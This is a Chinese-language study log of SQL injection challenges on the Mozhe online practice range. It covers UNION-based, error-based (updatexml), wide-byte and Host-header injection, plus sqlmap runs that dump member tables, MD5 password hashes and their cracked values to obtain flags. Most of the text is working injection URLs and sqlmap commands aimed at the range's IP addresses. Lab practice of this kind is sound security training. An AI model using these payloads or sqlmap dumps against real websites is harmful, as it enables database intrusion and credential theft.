这段时间联系一下SQL注入:
墨者SQL手工注入专题
在线靶场-SQL注入
三种数据库的注入详解
1,查字段数
http://mozhe.cn/new_list.php?id=0 order by 5
时报错,说明字段有4个
2,查数据库
http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。
3,查表
http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1
数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。
4,查字段
http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1
数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。
5,查类容
http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad
MD5:
dsan13
392969
登录第二个账号得到key
access数据库没有索引语句只能猜解。
判断数据库方法:
and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)
直接用sqlmap跑:
默认回车,线程设置10.
跑出来两个表:
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables
爆字段
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns
这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中
读取username和passwd字段中的数据
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dump
md5解密得到密码
登录得到flag
记录个讲的很好的教程:sqlmap注入access数据库
https://blog.csdn.net/qq_42357070/article/details/81239721
这题道感觉很复杂,手工注入很麻烦,还是用sqlmap跑吧。
数据库:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 --dbs --threads 10
表:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup --tables --threads 10
字段:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member --columns --threads 10
内容:
python sqlmap.py -u http://219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10
mozhe-3114b433dece9180717f2b7de56b28a3-0
mozhe-72b907f67333f6b1831ef219d6ef7832-1
md5:
mozhe-816761-1
1,
http://219.153.49.228:45334/new_list.php?id=tingjigonggao'
报错。
2,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' --+
没有报错,存在字符型注入。
3,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 5 --+
猜测字段数为5,报错。
4,http://219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 4 --+
猜测字段数为4,正常,字段数为4。
5,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,3,4 --+
找到回显位置2和3。
6,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 0,1--+
第一个数据库为information_schema
7,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 1,1--+
第二个数据库为mozhe_discuz_stormgroup
8,同理:
所有数据库为mysql,information_schema,mozhe_discuz_stormgroup,performance_schema,test
9,使用mozhe_discuz_stormgroup数据库爆表
http://219.153.49.228:45334/new_list.php?id=' union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1--+
10,同理,爆出所有数据库:
notice,stormgroup_member
这里使用第二个数据库stormgroup_member
,所以就不继续爆了。
11,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1--+
12,同理,爆出所有字段名为:
id,name,password,status
13,http://219.153.49.228:45334/new_list.php?id=' union select 1,2,concat(name,'-',password),4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1--+
14,爆出两个账号:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-9b7a0a48bdc5981497e68c7b1ec9d01c
15,md5解密:
mozhe-dsan13
mozhe-821078
16,登录第二个得到flag
这种题还是第一次遇到,因为要记录ip地址,所以要添加一个X-Forwarded-For: *
的头。
2,构造sqlmap语句爆出数据库。
python sqlmap.py -r D:\desktop\b.txt --dbs --batch --threads 10
常用参数:
--batch
:批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--threads
: 设置多线程,默认为1,最大10。
sqlmap全参数详解
3,爆webcalendar数据库中的表。
python sqlmap.py -r D:\desktop\b.txt -D webcalendar --tables --batch --threads 10
4,爆字段内容。
python sqlmap.py -r D:\desktop\b.txt -D webcalendar -T user --dump --batch --threads 10
5,登录得到flag。
学习基于extractvalue()和updatexml()的报错注入
使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)
其中:aaa和bbb随便输入什么东西
回显:error:‘bbb 查询的SQL结果 bbb’
例:updatexml(1,concat('~',(select database()),'~'),1)
解题:
1,http://219.153.49.228:48410/new_list.php?id=1'
报错。
2,http://219.153.49.228:48410/new_list.php?id=1' --+
正常,存在注入。
3,根据题目提示使用updatexml()进行报错注入。
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库stormgroup。
4,爆表:
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+
爆出表:member
5,爆字段:
http://219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+
6,同上,爆出其他字段。
name,password,status
7,爆字段类容。
http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',password) from stormgroup.member limit 0,1),0x7e),1)--+
8,同上,爆出所有账号,密码。
mozhe-3114b433dece9180717f2b7de
mozhe-773243a831d361bcdb225f0dd
9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。
http://219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',substr(password,26)) from stormgroup.member limit 0,1),0x7e),1)--+
得到密码:3114b433dece9180717f2b7de56b28a3
和:3783d53ee620b2901c8eaae3b56b28a3
10,md5解密登录得到flag。
宽字节注入原理:
1,出于安全考虑,单引号'
会被转义为/'
进入后台。
2,%bf/'
等于縗’
,这样就成功将/
号变为无效字符,从而正常使用单引号。(%bf
=β
)
解题:
1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。
http://219.153.49.228:41108/new_list.php?id=-1%df
2,确定字段数
http://219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+
3,找到回显点,回显点为5和3。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+
4,爆数据库。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+
5,爆表,因为引号被转义,库名,表名使用16进制。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+
6,爆字段。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+
7,爆字段类容。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,status) from mozhe_discuz_stormgroup.stormgroup_member --+
第一次做http头注入的题目,看了看题解是在host上注入。
1,抓包,修改为Host: or 1=1
报错
2,找注入点
host: union select 1,2,3,4
3,暴库
Host: union select 1,2,3,group_concat(schema_name) from information_schema.schemata
4,爆表
Host: union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'
5,爆字段
Host: union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'
6,爆flag
Host: union select 1,2,3,group_concat(flag) from pentesterlab.flag
7,验证flag